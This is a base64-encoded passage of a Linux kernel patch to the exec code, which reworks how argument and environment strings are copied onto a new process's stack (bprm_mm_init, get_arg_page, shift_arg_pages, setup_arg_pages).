PGFzbS91YWNjZXNzLmg+CiAjaW5jbHVkZSA8YXNtL21tdV9jb250ZXh0Lmg+CisjaW5jbHVkZSA8
YXNtL3RsYi5oPgogCiAjaWZkZWYgQ09ORklHX0tNT0QKICNpbmNsdWRlIDxsaW51eC9rbW9kLmg+
CkBAIC0xNzIsNiArMTczLDE1MyBAQCBleGl0OgogCWdvdG8gb3V0OwogfQogCisjaWZkZWYgQ09O
RklHX01NVQorCitzdGF0aWMgc3RydWN0IHBhZ2UgKmdldF9hcmdfcGFnZShzdHJ1Y3QgbGludXhf
YmlucHJtICpicHJtLCB1bnNpZ25lZCBsb25nIHBvcywKKwkJaW50IHdyaXRlKQoreworCXN0cnVj
dCBwYWdlICpwYWdlOworCWludCByZXQ7CisKKyNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAor
CWlmICh3cml0ZSkgeworCQlyZXQgPSBleHBhbmRfZG93bndhcmRzKGJwcm0tPnZtYSwgcG9zKTsK
KwkJaWYgKHJldCA8IDApCisJCQlyZXR1cm4gTlVMTDsKKwl9CisjZW5kaWYKKwlyZXQgPSBnZXRf
dXNlcl9wYWdlcyhjdXJyZW50LCBicHJtLT5tbSwgcG9zLAorCQkJMSwgd3JpdGUsIDEsICZwYWdl
LCBOVUxMKTsKKwlpZiAocmV0IDw9IDApCisJCXJldHVybiBOVUxMOworCisJcmV0dXJuIHBhZ2U7
Cit9CisKK3N0YXRpYyB2b2lkIHB1dF9hcmdfcGFnZShzdHJ1Y3QgcGFnZSAqcGFnZSkKK3sKKwlw
dXRfcGFnZShwYWdlKTsKK30KKworc3RhdGljIHZvaWQgZnJlZV9hcmdfcGFnZShzdHJ1Y3QgbGlu
dXhfYmlucHJtICpicHJtLCBpbnQgaSkKK3sKK30KKworc3RhdGljIHZvaWQgZnJlZV9hcmdfcGFn
ZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKK3sKK30KKworI2Vsc2UKKworc3RhdGljIHN0
cnVjdCBwYWdlICpnZXRfYXJnX3BhZ2Uoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSwgdW5zaWdu
ZWQgbG9uZyBwb3MsCisJCWludCB3cml0ZSkKK3sKKwlzdHJ1Y3QgcGFnZSAqcGFnZTsKKworCXBh
Z2UgPSBicHJtLT5wYWdlW3BvcyAvIFBBR0VfU0laRV07CisJaWYgKCFwYWdlICYmIHdyaXRlKSB7
CisJCXBhZ2UgPSBhbGxvY19wYWdlKEdGUF9ISUdIVVNFUnxfX0dGUF9aRVJPKTsKKwkJaWYgKCFw
YWdlKQorCQkJcmV0dXJuIE5VTEw7CisJCWJwcm0tPnBhZ2VbcG9zIC8gUEFHRV9TSVpFXSA9IHBh
Z2U7CisJfQorCisJcmV0dXJuIHBhZ2U7Cit9CisKK3N0YXRpYyB2b2lkIHB1dF9hcmdfcGFnZShz
dHJ1Y3QgcGFnZSAqcGFnZSkKK3sKK30KKworc3RhdGljIHZvaWQgZnJlZV9hcmdfcGFnZShzdHJ1
Y3QgbGludXhfYmlucHJtICpicHJtLCBpbnQgaSkKK3sKKwlpZiAoYnBybS0+cGFnZVtpXSkgewor
CQlfX2ZyZWVfcGFnZShicHJtLT5wYWdlW2ldKTsKKwkJYnBybS0+cGFnZVtpXSA9IE5VTEw7CisJ
fQorfQorCitzdGF0aWMgdm9pZCBmcmVlX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpi
cHJtKQoreworCWludCBpOworCisJZm9yIChpID0gMDsgaSA8IE1BWF9BUkdfUEFHRVM7IGkrKykK
KwkJZnJlZV9hcmdfcGFnZShicHJtLCBpKTsKK30KKworI2VuZGlmIC8qIENPTkZJR19NTVUgKi8K
KworLyogQ3JlYXRlIGEgbmV3IG1tX3N0cnVjdCBhbmQgcG9wdWxhdGUgaXQgd2l0aCBhIHRlbXBv
cmFyeSBzdGFjaworICogdm1fYXJlYV9zdHJ1Y3QuICBXZSBkb24ndCBoYXZlIGVub3VnaCBjb250
ZXh0IGF0IHRoaXMgcG9pbnQgdG8gc2V0IHRoZQorICogc3RhY2sgZmxhZ3MsIHBlcm1pc3Npb25z
LCBhbmQgb2Zmc2V0LCBzbyB3ZSB1c2UgdGVtcG9yYXJ5IHZhbHVlcy4gIFdlJ2xsCisgKiB1cGRh
dGUgdGhlbSBsYXRlciBpbiBzZXR1cF9hcmdfcGFnZXMoKS4gKi8KK2ludCBicHJtX21tX2luaXQo
c3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKK3sKKwlpbnQgZXJyOworCXN0cnVjdCBtbV9zdHJ1
Y3QgKm1tID0gTlVMTDsKKwlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSA9IE5VTEw7CisKKwli
cHJtLT5tbSA9IG1tID0gbW1fYWxsb2MoKTsKKwllcnIgPSAtRU5PTUVNOworCWlmICghbW0pCisJ
CWdvdG8gZXJyOworCisJaWYgKChlcnIgPSBpbml0X25ld19jb250ZXh0KGN1cnJlbnQsIG1tKSkp
CisJCWdvdG8gZXJyOworCisjaWZkZWYgQ09ORklHX01NVQorCWJwcm0tPnZtYSA9IHZtYSA9IGtt
ZW1fY2FjaGVfemFsbG9jKHZtX2FyZWFfY2FjaGVwLCBHRlBfS0VSTkVMKTsKKwllcnIgPSAtRU5P
TUVNOworCWlmICghdm1hKQorCQlnb3RvIGVycjsKKworCWRvd25fd3JpdGUoJm1tLT5tbWFwX3Nl
bSk7CisJeworCQl2bWEtPnZtX21tID0gbW07CisKKwkJLyogUGxhY2UgdGhlIHN0YWNrIGF0IHRo
ZSB0b3Agb2YgdXNlciBtZW1vcnkuICBMYXRlciwgd2UnbGwKKwkJICogbW92ZSB0aGlzIHRvIGFu
IGFwcHJvcHJpYXRlIHBsYWNlLiAgV2UgZG9uJ3QgdXNlIFNUQUNLX1RPUAorCQkgKiBiZWNhdXNl
IHRoYXQgY2FuIGRlcGVuZCBvbiBhdHRyaWJ1dGVzIHdoaWNoIGFyZW4ndAorCQkgKiBjb25maWd1
cmVkIHlldC4gKi8KKwkJdm1hLT52bV9lbmQgPSBUQVNLX1NJWkU7CisJCXZtYS0+dm1fc3RhcnQg
PSB2bWEtPnZtX2VuZCAtIFBBR0VfU0laRTsKKworCQl2bWEtPnZtX2ZsYWdzID0gVk1fU1RBQ0tf
RkxBR1M7CisJCXZtYS0+dm1fcGFnZV9wcm90ID0gcHJvdGVjdGlvbl9tYXBbdm1hLT52bV9mbGFn
cyAmIDB4N107CisJCWlmICgoZXJyID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgdm1hKSkpIHsKKwkJ
CXVwX3dyaXRlKCZtbS0+bW1hcF9zZW0pOworCQkJZ290byBlcnI7CisJCX0KKworCQltbS0+c3Rh
Y2tfdm0gPSBtbS0+dG90YWxfdm0gPSAxOworCX0KKwl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsK
KworCWJwcm0tPnAgPSB2bWEtPnZtX2VuZCAtIHNpemVvZih2b2lkICopOworI2Vsc2UKKwlicHJt
LT5wID0gUEFHRV9TSVpFICogTUFYX0FSR19QQUdFUyAtIHNpemVvZih2b2lkICopOworI2VuZGlm
CisKKwlyZXR1cm4gMDsKKworZXJyOgorI2lmZGVmIENPTkZJR19NTVUKKwlpZiAodm1hKSB7CisJ
CWJwcm0tPnZtYSA9IE5VTEw7CisJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwgdm1h
KTsKKwl9CisjZW5kaWYKKworCWlmIChtbSkgeworCQlicHJtLT5tbSA9IE5VTEw7CisJCW1tZHJv
cChtbSk7CisJfQorCisJcmV0dXJuIGVycjsKK30KKworRVhQT1JUX1NZTUJPTChicHJtX21tX2lu
aXQpOworCiAvKgogICogY291bnQoKSBjb3VudHMgdGhlIG51bWJlciBvZiBzdHJpbmdzIGluIGFy
cmF5IEFSR1YuCiAgKi8KQEAgLTE5NywxNSArMzQ1LDE2IEBAIHN0YXRpYyBpbnQgY291bnQoY2hh
ciBfX3VzZXIgKiBfX3VzZXIgKiBhcmd2LCBpbnQgbWF4KQogfQogCiAvKgotICogJ2NvcHlfc3Ry
aW5ncygpJyBjb3BpZXMgYXJndW1lbnQvZW52aXJvbm1lbnQgc3RyaW5ncyBmcm9tIHVzZXIKLSAq
IG1lbW9yeSB0byBmcmVlIHBhZ2VzIGluIGtlcm5lbCBtZW0uIFRoZXNlIGFyZSBpbiBhIGZvcm1h
dCByZWFkeQotICogdG8gYmUgcHV0IGRpcmVjdGx5IGludG8gdGhlIHRvcCBvZiBuZXcgdXNlciBt
ZW1vcnkuCisgKiAnY29weV9zdHJpbmdzKCknIGNvcGllcyBhcmd1bWVudC9lbnZpcm9ubWVudCBz
dHJpbmdzIGZyb20gdGhlIG9sZAorICogcHJvY2Vzc2VzJ3MgbWVtb3J5IHRvIHRoZSBuZXcgcHJv
Y2VzcydzIHN0YWNrLiAgVGhlIGNhbGwgdG8gZ2V0X3VzZXJfcGFnZXMoKQorICogZW5zdXJlcyB0
aGUgZGVzdGluYXRpb24gcGFnZSBpcyBjcmVhdGVkIGFuZCBub3Qgc3dhcHBlZCBvdXQuCiAgKi8K
IHN0YXRpYyBpbnQgY29weV9zdHJpbmdzKGludCBhcmdjLCBjaGFyIF9fdXNlciAqIF9fdXNlciAq
IGFyZ3YsCiAJCQlzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtKQogewogCXN0cnVjdCBwYWdlICpr
bWFwcGVkX3BhZ2UgPSBOVUxMOwogCWNoYXIgKmthZGRyID0gTlVMTDsKKwl1bnNpZ25lZCBsb25n
IGtwb3MgPSAwOwogCWludCByZXQ7CiAKIAl3aGlsZSAoYXJnYy0tID4gMCkgewpAQCAtMjE0LDY5
ICszNjMsNzMgQEAgc3RhdGljIGludCBjb3B5X3N0cmluZ3MoaW50IGFyZ2MsIGNoYXIgX191c2Vy
ICogX191c2VyICogYXJndiwKIAkJdW5zaWduZWQgbG9uZyBwb3M7CiAKIAkJaWYgKGdldF91c2Vy
KHN0ciwgYXJndithcmdjKSB8fAotCQkJCSEobGVuID0gc3Rybmxlbl91c2VyKHN0ciwgYnBybS0+
cCkpKSB7CisJCQkJIShsZW4gPSBzdHJubGVuX3VzZXIoc3RyLCBNQVhfQVJHX1NUUkxFTikpKSB7
CiAJCQlyZXQgPSAtRUZBVUxUOwogCQkJZ290byBvdXQ7CiAJCX0KIAotCQlpZiAoYnBybS0+cCA8
IGxlbikgIHsKKyNpZmRlZiBDT05GSUdfTU1VCisJCWlmIChNQVhfQVJHX1NUUkxFTiA8IGxlbikg
ewogCQkJcmV0ID0gLUUyQklHOwogCQkJZ290byBvdXQ7CiAJCX0KKyNlbHNlCisJCWlmIChicHJt
LT5wIDwgbGVuKSB7CisJCQlyZXQgPSAtRTJCSUc7CisJCQlnb3RvIG91dDsKKwkJfQorI2VuZGlm
CiAKLQkJYnBybS0+cCAtPSBsZW47Ci0JCS8qIFhYWDogYWRkIGFyY2hpdGVjdHVyZSBzcGVjaWZp
YyBvdmVyZmxvdyBjaGVjayBoZXJlLiAqLworCQkvKiBXZSdyZSBnb2luZyB0byB3b3JrIG91ciB3
YXkgYmFja3dvcmRzLiAqLwogCQlwb3MgPSBicHJtLT5wOworCQlzdHIgKz0gbGVuOworCQlicHJt
LT5wIC09IGxlbjsKIAogCQl3aGlsZSAobGVuID4gMCkgewotCQkJaW50IGksIG5ldywgZXJyOwog
CQkJaW50IG9mZnNldCwgYnl0ZXNfdG9fY29weTsKLQkJCXN0cnVjdCBwYWdlICpwYWdlOwogCiAJ
CQlvZmZzZXQgPSBwb3MgJSBQQUdFX1NJWkU7Ci0JCQlpID0gcG9zL1BBR0VfU0laRTsKLQkJCXBh
Z2UgPSBicHJtLT5wYWdlW2ldOwotCQkJbmV3ID0gMDsKLQkJCWlmICghcGFnZSkgewotCQkJCXBh
Z2UgPSBhbGxvY19wYWdlKEdGUF9ISUdIVVNFUik7Ci0JCQkJYnBybS0+cGFnZVtpXSA9IHBhZ2U7
CisJCQlpZiAob2Zmc2V0ID09IDApCisJCQkJb2Zmc2V0ID0gUEFHRV9TSVpFOworCisJCQlieXRl
c190b19jb3B5ID0gb2Zmc2V0OworCQkJaWYgKGJ5dGVzX3RvX2NvcHkgPiBsZW4pCisJCQkJYnl0
ZXNfdG9fY29weSA9IGxlbjsKKworCQkJb2Zmc2V0IC09IGJ5dGVzX3RvX2NvcHk7CisJCQlwb3Mg
LT0gYnl0ZXNfdG9fY29weTsKKwkJCXN0ciAtPSBieXRlc190b19jb3B5OworCQkJbGVuIC09IGJ5
dGVzX3RvX2NvcHk7CisKKwkJCWlmICgha21hcHBlZF9wYWdlIHx8IGtwb3MgIT0gKHBvcyAmIFBB
R0VfTUFTSykpIHsKKwkJCQlzdHJ1Y3QgcGFnZSAqcGFnZTsKKworCQkJCXBhZ2UgPSBnZXRfYXJn
X3BhZ2UoYnBybSwgcG9zLCAxKTsKIAkJCQlpZiAoIXBhZ2UpIHsKLQkJCQkJcmV0ID0gLUVOT01F
TTsKKwkJCQkJcmV0ID0gLUUyQklHOwogCQkJCQlnb3RvIG91dDsKIAkJCQl9Ci0JCQkJbmV3ID0g
MTsKLQkJCX0KIAotCQkJaWYgKHBhZ2UgIT0ga21hcHBlZF9wYWdlKSB7Ci0JCQkJaWYgKGttYXBw
ZWRfcGFnZSkKKwkJCQlpZiAoa21hcHBlZF9wYWdlKSB7CiAJCQkJCWt1bm1hcChrbWFwcGVkX3Bh
Z2UpOworCQkJCQlwdXRfYXJnX3BhZ2Uoa21hcHBlZF9wYWdlKTsKKwkJCQl9CiAJCQkJa21hcHBl
ZF9wYWdlID0gcGFnZTsKIAkJCQlrYWRkciA9IGttYXAoa21hcHBlZF9wYWdlKTsKKwkJCQlrcG9z
ID0gcG9zICYgUEFHRV9NQVNLOwogCQkJfQotCQkJaWYgKG5ldyAmJiBvZmZzZXQpCi0JCQkJbWVt
c2V0KGthZGRyLCAwLCBvZmZzZXQpOwotCQkJYnl0ZXNfdG9fY29weSA9IFBBR0VfU0laRSAtIG9m
ZnNldDsKLQkJCWlmIChieXRlc190b19jb3B5ID4gbGVuKSB7Ci0JCQkJYnl0ZXNfdG9fY29weSA9
IGxlbjsKLQkJCQlpZiAobmV3KQotCQkJCQltZW1zZXQoa2FkZHIrb2Zmc2V0K2xlbiwgMCwKLQkJ
CQkJCVBBR0VfU0laRS1vZmZzZXQtbGVuKTsKLQkJCX0KLQkJCWVyciA9IGNvcHlfZnJvbV91c2Vy
KGthZGRyK29mZnNldCwgc3RyLCBieXRlc190b19jb3B5KTsKLQkJCWlmIChlcnIpIHsKKwkJCWlm
IChjb3B5X2Zyb21fdXNlcihrYWRkcitvZmZzZXQsIHN0ciwgYnl0ZXNfdG9fY29weSkpIHsKIAkJ
CQlyZXQgPSAtRUZBVUxUOwogCQkJCWdvdG8gb3V0OwogCQkJfQotCi0JCQlwb3MgKz0gYnl0ZXNf
dG9fY29weTsKLQkJCXN0ciArPSBieXRlc190b19jb3B5OwotCQkJbGVuIC09IGJ5dGVzX3RvX2Nv
cHk7CiAJCX0KIAl9CiAJcmV0ID0gMDsKIG91dDoKLQlpZiAoa21hcHBlZF9wYWdlKQorCWlmIChr
bWFwcGVkX3BhZ2UpIHsKIAkJa3VubWFwKGttYXBwZWRfcGFnZSk7CisJCXB1dF9hcmdfcGFnZShr
bWFwcGVkX3BhZ2UpOworCX0KIAlyZXR1cm4gcmV0OwogfQogCkBAIC0yOTYsMTU2ICs0NDksMTMw
IEBAIGludCBjb3B5X3N0cmluZ3Nfa2VybmVsKGludCBhcmdjLGNoYXIgKiogYXJndiwgc3RydWN0
IGxpbnV4X2JpbnBybSAqYnBybSkKIEVYUE9SVF9TWU1CT0woY29weV9zdHJpbmdzX2tlcm5lbCk7
CiAKICNpZmRlZiBDT05GSUdfTU1VCi0vKgotICogVGhpcyByb3V0aW5lIGlzIHVzZWQgdG8gbWFw
IGluIGEgcGFnZSBpbnRvIGFuIGFkZHJlc3Mgc3BhY2U6IG5lZWRlZCBieQotICogZXhlY3ZlKCkg
Zm9yIHRoZSBpbml0aWFsIHN0YWNrIGFuZCBlbnZpcm9ubWVudCBwYWdlcy4KLSAqCi0gKiB2bWEt
PnZtX21tLT5tbWFwX3NlbSBpcyBoZWxkIGZvciB3cml0aW5nLgotICovCi12b2lkIGluc3RhbGxf
YXJnX3BhZ2Uoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCi0JCQlzdHJ1Y3QgcGFnZSAqcGFn
ZSwgdW5zaWduZWQgbG9uZyBhZGRyZXNzKQorCitzdGF0aWMgaW50IHNoaWZ0X2FyZ19wYWdlcyhz
dHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyBzaGlmdCkKIHsKLQlzdHJ1
Y3QgbW1fc3RydWN0ICptbSA9IHZtYS0+dm1fbW07Ci0JcHRlX3QgKiBwdGU7Ci0Jc3BpbmxvY2tf
dCAqcHRsOworCXVuc2lnbmVkIGxvbmcgb2xkX3N0YXJ0ID0gdm1hLT52bV9zdGFydDsKKwl1bnNp
Z25lZCBsb25nIG9sZF9lbmQgPSB2bWEtPnZtX2VuZDsKKwl1bnNpZ25lZCBsb25nIGxlbmd0aCA9
IG9sZF9lbmQgLSBvbGRfc3RhcnQ7CisJdW5zaWduZWQgbG9uZyBuZXdfc3RhcnQgPSBvbGRfc3Rh
cnQgLSBzaGlmdDsKKwl1bnNpZ25lZCBsb25nIG5ld19lbmQgPSBvbGRfZW5kIC0gc2hpZnQ7CisJ
c3RydWN0IG1tdV9nYXRoZXIgKnRsYjsKIAotCWlmICh1bmxpa2VseShhbm9uX3ZtYV9wcmVwYXJl
KHZtYSkpKQotCQlnb3RvIG91dDsKKwlCVUdfT04oc2hpZnQgPiBvbGRfc3RhcnQpOworCUJVR19P
TihzaGlmdCAmIH5QQUdFX01BU0spOwogCi0JZmx1c2hfZGNhY2hlX3BhZ2UocGFnZSk7Ci0JcHRl
ID0gZ2V0X2xvY2tlZF9wdGUobW0sIGFkZHJlc3MsICZwdGwpOwotCWlmICghcHRlKQotCQlnb3Rv
IG91dDsKLQlpZiAoIXB0ZV9ub25lKCpwdGUpKSB7Ci0JCXB0ZV91bm1hcF91bmxvY2socHRlLCBw
dGwpOwotCQlnb3RvIG91dDsKLQl9Ci0JaW5jX21tX2NvdW50ZXIobW0sIGFub25fcnNzKTsKLQls
cnVfY2FjaGVfYWRkX2FjdGl2ZShwYWdlKTsKLQlzZXRfcHRlX2F0KG1tLCBhZGRyZXNzLCBwdGUs
IHB0ZV9ta2RpcnR5KHB0ZV9ta3dyaXRlKG1rX3B0ZSgKLQkJCQkJcGFnZSwgdm1hLT52bV9wYWdl
X3Byb3QpKSkpOwotCXBhZ2VfYWRkX25ld19hbm9uX3JtYXAocGFnZSwgdm1hLCBhZGRyZXNzKTsK
LQlwdGVfdW5tYXBfdW5sb2NrKHB0ZSwgcHRsKTsKLQotCS8qIG5vIG5lZWQgZm9yIGZsdXNoX3Rs
YiAqLwotCXJldHVybjsKLW91dDoKLQlfX2ZyZWVfcGFnZShwYWdlKTsKLQlmb3JjZV9zaWcoU0lH
S0lMTCwgY3VycmVudCk7CisJaWYgKHZtYSAhPSBmaW5kX3ZtYSh2bWEtPnZtX21tLCBuZXdfc3Rh
cnQpKQorCQlyZXR1cm4gLUVGQVVMVDsKKworCXZtYV9hZGp1c3Qodm1hLCBuZXdfc3RhcnQsIG9s
ZF9lbmQsCisJCSAgIHZtYS0+dm1fcGdvZmYgLSAoc2hpZnQgPj4gUEFHRV9TSElGVCksIE5VTEwp
OworCisJaWYgKGxlbmd0aCAhPSBtb3ZlX3BhZ2VfdGFibGVzKHZtYSwgb2xkX3N0YXJ0LCB2bWEs
IG5ld19zdGFydCwgbGVuZ3RoKSkKKwkJcmV0dXJuIC1FTk9NRU07CisJCisJbHJ1X2FkZF9kcmFp
bigpOworCXRsYiA9IHRsYl9nYXRoZXJfbW11KHZtYS0+dm1fbW0sIDApOworCWZyZWVfcGdkX3Jh
bmdlKCZ0bGIsIG5ld19lbmQsIG9sZF9lbmQsIG5ld19lbmQsCisJCSAgICAgICB2bWEtPnZtX25l
eHQgPyB2bWEtPnZtX25leHQtPnZtX3N0YXJ0IDogMCk7CisJdGxiX2ZpbmlzaF9tbXUodGxiLCBu
ZXdfZW5kLCBvbGRfZW5kKTsKKworCXZtYV9hZGp1c3Qodm1hLCBuZXdfc3RhcnQsIG5ld19lbmQs
IHZtYS0+dm1fcGdvZmYsIE5VTEwpOworCisJcmV0dXJuIDA7CiB9CiAKICNkZWZpbmUgRVhUUkFf
U1RBQ0tfVk1fUEFHRVMJMjAJLyogcmFuZG9tICovCiAKKy8qIEZpbmFsaXplcyB0aGUgc3RhY2sg
dm1fYXJlYV9zdHJ1Y3QuICBUaGUgZmxhZ3MgYW5kIHBlcm1pc3Npb25zIGFyZSB1cGRhdGVkLAor
ICogdGhlIHN0YWNrIGlzIG9wdGlvbmFsbHkgcmVsb2NhdGVkLCBhbmQgc29tZSBleHRyYSBzcGFj
ZSBpcyBhZGRlZC4KKyAqLwogaW50IHNldHVwX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJt
ICpicHJtLAogCQkgICAgdW5zaWduZWQgbG9uZyBzdGFja190b3AsCiAJCSAgICBpbnQgZXhlY3V0
YWJsZV9zdGFjaykKIHsKLQl1bnNpZ25lZCBsb25nIHN0YWNrX2Jhc2U7Ci0Jc3RydWN0IHZtX2Fy
ZWFfc3RydWN0ICptcG50OworCXVuc2lnbmVkIGxvbmcgcmV0OworCXVuc2lnbmVkIGxvbmcgc3Rh
Y2tfYmFzZSwgc3RhY2tfc2hpZnQ7CiAJc3RydWN0IG1tX3N0cnVjdCAqbW0gPSBjdXJyZW50LT5t
bTsKLQlpbnQgaSwgcmV0OwotCWxvbmcgYXJnX3NpemU7CiAKICNpZmRlZiBDT05GSUdfU1RBQ0tf
R1JPV1NVUAotCS8qIE1vdmUgdGhlIGFyZ3VtZW50IGFuZCBlbnZpcm9ubWVudCBzdHJpbmdzIHRv
IHRoZSBib3R0b20gb2YgdGhlCi0JICogc3RhY2sgc3BhY2UuCi0JICovCi0JaW50IG9mZnNldCwg
ajsKLQljaGFyICp0bywgKmZyb207Ci0KLQkvKiBTdGFydCBieSBzaGlmdGluZyBhbGwgdGhlIHBh
Z2VzIGRvd24gKi8KLQlpID0gMDsKLQlmb3IgKGogPSAwOyBqIDwgTUFYX0FSR19QQUdFUzsgaisr
KSB7Ci0JCXN0cnVjdCBwYWdlICpwYWdlID0gYnBybS0+cGFnZVtqXTsKLQkJaWYgKCFwYWdlKQot
CQkJY29udGludWU7Ci0JCWJwcm0tPnBhZ2VbaSsrXSA9IHBhZ2U7Ci0JfQotCi0JLyogTm93IG1v
dmUgdGhlbSB3aXRoaW4gdGhlaXIgcGFnZXMgKi8KLQlvZmZzZXQgPSBicHJtLT5wICUgUEFHRV9T
SVpFOwotCXRvID0ga21hcChicHJtLT5wYWdlWzBdKTsKLQlmb3IgKGogPSAxOyBqIDwgaTsgaisr
KSB7Ci0JCW1lbW1vdmUodG8sIHRvICsgb2Zmc2V0LCBQQUdFX1NJWkUgLSBvZmZzZXQpOwotCQlm
cm9tID0ga21hcChicHJtLT5wYWdlW2pdKTsKLQkJbWVtY3B5KHRvICsgUEFHRV9TSVpFIC0gb2Zm
c2V0LCBmcm9tLCBvZmZzZXQpOwotCQlrdW5tYXAoYnBybS0+cGFnZVtqIC0gMV0pOwotCQl0byA9
IGZyb207Ci0JfQotCW1lbW1vdmUodG8sIHRvICsgb2Zmc2V0LCBQQUdFX1NJWkUgLSBvZmZzZXQp
OwotCWt1bm1hcChicHJtLT5wYWdlW2ogLSAxXSk7Ci0KIAkvKiBMaW1pdCBzdGFjayBzaXplIHRv
IDFHQiAqLwogCXN0YWNrX2Jhc2UgPSBjdXJyZW50LT5zaWduYWwtPnJsaW1bUkxJTUlUX1NUQUNL
XS5ybGltX21heDsKIAlpZiAoc3RhY2tfYmFzZSA+ICgxIDw8IDMwKSkKIAkJc3RhY2tfYmFzZSA9
IDEgPDwgMzA7CiAJc3RhY2tfYmFzZSA9IFBBR0VfQUxJR04oc3RhY2tfdG9wIC0gc3RhY2tfYmFz
ZSk7CiAKLQkvKiBBZGp1c3QgYnBybS0+cCB0byBwb2ludCB0byB0aGUgZW5kIG9mIHRoZSBzdHJp
bmdzLiAqLwotCWJwcm0tPnAgPSBzdGFja19iYXNlICsgUEFHRV9TSVpFICogaSAtIG9mZnNldDsK
KwkvKiBNYWtlIHN1cmUgd2UgZGlkbid0IGxldCB0aGUgYXJndW1lbnQgYXJyYXkgZ3JvdyB0b28g
bGFyZ2UuICovCisJaWYgKHN0YWNrX2Jhc2UgPiAoYnBybS0+cCAmIFBBR0VfTUFTSykpCisJCXJl
dHVybiAtRU5PTUVNOwogCi0JbW0tPmFyZ19zdGFydCA9IHN0YWNrX2Jhc2U7Ci0JYXJnX3NpemUg
PSBpIDw8IFBBR0VfU0hJRlQ7CiAKLQkvKiB6ZXJvIHBhZ2VzIHRoYXQgd2VyZSBjb3BpZWQgYWJv
dmUgKi8KLQl3aGlsZSAoaSA8IE1BWF9BUkdfUEFHRVMpCi0JCWJwcm0tPnBhZ2VbaSsrXSA9IE5V
TEw7CisJc3RhY2tfc2hpZnQgPSAoYnBybS0+cCAmIFBBR0VfTUFTSykgLSBzdGFja19iYXNlOwor
CW1tLT5hcmdfc3RhcnQgPSBicHJtLT5wIC0gc3RhY2tfc2hpZnQ7CisJYnBybS0+cCA9IGJwcm0t
PnZtYS0+dm1fZW5kIC0gc3RhY2tfc2hpZnQ7CiAjZWxzZQotCXN0YWNrX2Jhc2UgPSBhcmNoX2Fs
aWduX3N0YWNrKHN0YWNrX3RvcCAtIE1BWF9BUkdfUEFHRVMqUEFHRV9TSVpFKTsKKwlCVUdfT04o
c3RhY2tfdG9wID4gVEFTS19TSVpFKTsKKwlCVUdfT04oc3RhY2tfdG9wICYgflBBR0VfTUFTSyk7
CisKKwlzdGFja19iYXNlID0gYXJjaF9hbGlnbl9zdGFjayhzdGFja190b3AgLSBtbS0+c3RhY2tf
dm0qUEFHRV9TSVpFKTsKIAlzdGFja19iYXNlID0gUEFHRV9BTElHTihzdGFja19iYXNlKTsKLQli
cHJtLT5wICs9IHN0YWNrX2Jhc2U7CisKKwlCVUdfT04oc3RhY2tfYmFzZSA+IChicHJtLT5wICYg
UEFHRV9NQVNLKSk7CisKKwlzdGFja19zaGlmdCA9IChicHJtLT5wICYgUEFHRV9NQVNLKSAtIHN0
YWNrX2Jhc2U7CisJYnBybS0+cCAtPSBzdGFja19zaGlmdDsKIAltbS0+YXJnX3N0YXJ0ID0gYnBy
bS0+cDsKLQlhcmdfc2l6ZSA9IHN0YWNrX3RvcCAtIChQQUdFX01BU0sgJiAodW5zaWduZWQgbG9u
ZykgbW0tPmFyZ19zdGFydCk7CiAjZW5kaWYKIAotCWFyZ19zaXplICs9IEVYVFJBX1NUQUNLX1ZN
X1BBR0VTICogUEFHRV9TSVpFOwotCiAJaWYgKGJwcm0tPmxvYWRlcikKLQkJYnBybS0+bG9hZGVy
ICs9IHN0YWNrX2Jhc2U7Ci0JYnBybS0+ZXhlYyArPSBzdGFja19iYXNlOwotCi0JbXBudCA9IGtt
ZW1fY2FjaGVfYWxsb2Modm1fYXJlYV9jYWNoZXAsIFNMQUJfS0VSTkVMKTsKLQlpZiAoIW1wbnQp
Ci0JCXJldHVybiAtRU5PTUVNOwotCi0JbWVtc2V0KG1wbnQsIDAsIHNpemVvZigqbXBudCkpOwor
CQlicHJtLT5sb2FkZXIgLT0gc3RhY2tfc2hpZnQ7CisJYnBybS0+ZXhlYyAtPSBzdGFja19zaGlm
dDsKIAogCWRvd25fd3JpdGUoJm1tLT5tbWFwX3NlbSk7CiAJewotCQltcG50LT52bV9tbSA9IG1t
OwotI2lmZGVmIENPTkZJR19TVEFDS19HUk9XU1VQCi0JCW1wbnQtPnZtX3N0YXJ0ID0gc3RhY2tf
YmFzZTsKLQkJbXBudC0+dm1fZW5kID0gc3RhY2tfYmFzZSArIGFyZ19zaXplOwotI2Vsc2UKLQkJ
bXBudC0+dm1fZW5kID0gc3RhY2tfdG9wOwotCQltcG50LT52bV9zdGFydCA9IG1wbnQtPnZtX2Vu
ZCAtIGFyZ19zaXplOwotI2VuZGlmCisJCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hID0gYnBy
bS0+dm1hOworCQlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnByZXYgPSBOVUxMOworCQl1bnNpZ25l
ZCBsb25nIHZtX2ZsYWdzID0gdm1hLT52bV9mbGFnczsKKwogCQkvKiBBZGp1c3Qgc3RhY2sgZXhl
Y3V0ZSBwZXJtaXNzaW9uczsgZXhwbGljaXRseSBlbmFibGUKIAkJICogZm9yIEVYU1RBQ0tfRU5B
QkxFX1gsIGRpc2FibGUgZm9yIEVYU1RBQ0tfRElTQUJMRV9YCiAJCSAqIGFuZCBsZWF2ZSBhbG9u
ZSAoYXJjaCBkZWZhdWx0KSBvdGhlcndpc2UuICovCiAJCWlmICh1bmxpa2VseShleGVjdXRhYmxl
X3N0YWNrID09IEVYU1RBQ0tfRU5BQkxFX1gpKQotCQkJbXBudC0+dm1fZmxhZ3MgPSBWTV9TVEFD
S19GTEFHUyB8ICBWTV9FWEVDOworCQkJdm1fZmxhZ3MgfD0gVk1fRVhFQzsKIAkJZWxzZSBpZiAo
